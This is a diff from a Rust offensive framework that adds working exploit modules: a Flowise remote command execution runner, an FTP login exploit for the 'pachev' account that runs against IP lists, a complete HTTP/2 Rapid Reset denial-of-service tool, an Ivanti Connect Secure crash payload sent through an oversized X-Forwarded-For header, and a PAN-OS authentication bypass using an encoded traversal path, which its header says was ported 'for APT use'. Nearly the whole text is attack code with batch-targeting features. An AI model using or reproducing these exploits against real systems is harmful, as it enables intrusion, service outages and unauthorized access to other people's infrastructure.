base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut email)?;
print!("{}", "Password: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("{}", "Command to execute: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2025_59528_flowise_rce;
@@ -2,7 +2,7 @@ use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{copy, BufRead, BufReader, Write};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -35,10 +35,13 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
@@ -77,25 +80,28 @@ fn save_result(line: &str) -> Result<()> {
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
println!("Enter the FTP port (default 21):");
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
io::stdout().flush()?;
let mut port_input = String::new();
std::io::stdin().read_line(&mut port_input)?;
io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
};
println!("Do you want to use a list of IPs? (yes/no):");
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
io::stdout().flush()?;
let mut use_list = String::new();
std::io::stdin().read_line(&mut use_list)?;
io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
println!("Enter path to the IP list file:");
print!("{}", "Enter path to the IP list file: ".cyan().bold());
io::stdout().flush()?;
let mut path = String::new();
std::io::stdin().read_line(&mut path)?;
io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
@@ -116,32 +122,33 @@ pub async fn run(target: &str) -> Result<()> {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
}
}
@@ -165,23 +172,24 @@ pub async fn run(target: &str) -> Result<()> {
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
}
}
}
@@ -0,0 +1,445 @@
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
╔═══════════════════════════════════════════════════════════╗
║ CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability ║
║ Tester ║
║ ║
║ WARNING: Only use on systems you own or have ║
║ permission to test! ║
╚═══════════════════════════════════════════════════════════╝
"#
.cyan()
);
}
/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse target (could be host:port or just host)
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
let h = &target[..colon_pos];
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
(h.to_string(), p)
} else {
(target.to_string(), 443)
};
// Interactive prompts
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let mut ssl_input = String::new();
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut ssl_input)?;
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
let mut streams_input = String::new();
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut streams_input)?;
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
let mut delay_input = String::new();
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut delay_input)?;
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
let mut baseline_input = String::new();
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut baseline_input)?;
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
let mut confirm = String::new();
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut confirm)?;
if !confirm.trim().to_lowercase().starts_with('y') {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -0,0 +1,260 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::Result;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use url::Url;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers
}
fn payload_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
headers
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Normalize and extract usable target URL from IPv6/host formats
async fn normalize_target(raw: &str) -> Result<String> {
let mut input = raw.trim().to_string();
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
while input.starts_with('[') && input.ends_with(']') {
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
}
// // Prepend https:// if missing
if !input.starts_with("http://") && !input.starts_with("https://") {
input = format!("https://{}", input);
}
let mut parsed = Url::parse(&input)?;
// // Prompt for port if not present
if parsed.port_or_known_default().is_none() {
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
let mut port_line = String::new();
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
let port = port_line.trim().parse::<u16>()?;
parsed.set_port(Some(port)).expect("invalid port");
}
Ok(parsed[..].to_string())
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target).await?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
+9 -1
View File
@@ -1,7 +1,7 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod router;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
@@ -10,3 +10,11 @@ pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
+1
View File
@@ -0,0 +1 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -0,0 +1,165 @@
// Filename: cve_2025_0108.rs
// CVE-2025-0108 - PanOS Authentication Bypass
// Author: iSee857
// Ported to Rust by ethical hacker daniel for APT use
use anyhow::{Context, Result, bail};
use colored::*;
use reqwest::Client;
use std::{
fs::File,
io::{self, BufRead, BufReader, Write},
process::Command,
time::Duration,
};
use url::Url;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs 身份认证绕过漏洞 *
* 作者: iSee857 *
****************************************************
"#
.cyan()
);
}
/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)
.with_context(|| format!("Failed to open file: {}", file_path))?;
let reader = BufReader::new(file);
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
}
/// Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
#[cfg(target_os = "windows")]
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
#[cfg(target_os = "macos")]
let cmd = Command::new("open").arg(url).spawn();
if cmd.is_err() {
bail!("Could not open default browser.");
}
Ok(())
}
/// Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", format!("[*] Testing: {}", full_url).yellow());
let resp = client.get(&full_url).send().await;
if let Ok(res) = resp {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
.green()
.bold()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
let _ = open_browser(&full_url);
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
.red()
);
}
} else {
println!(
"{}",
format!("[-] Error connecting to {}:{}", url, port).red()
);
}
}
}
Ok(false)
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
if check(&url, port, &client).await? {
vulnerable_count += 1;
}
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let _ = check(target, port, &client).await?;
}
Ok(())
}
+2 -1
View File
@@ -1,4 +1,5 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
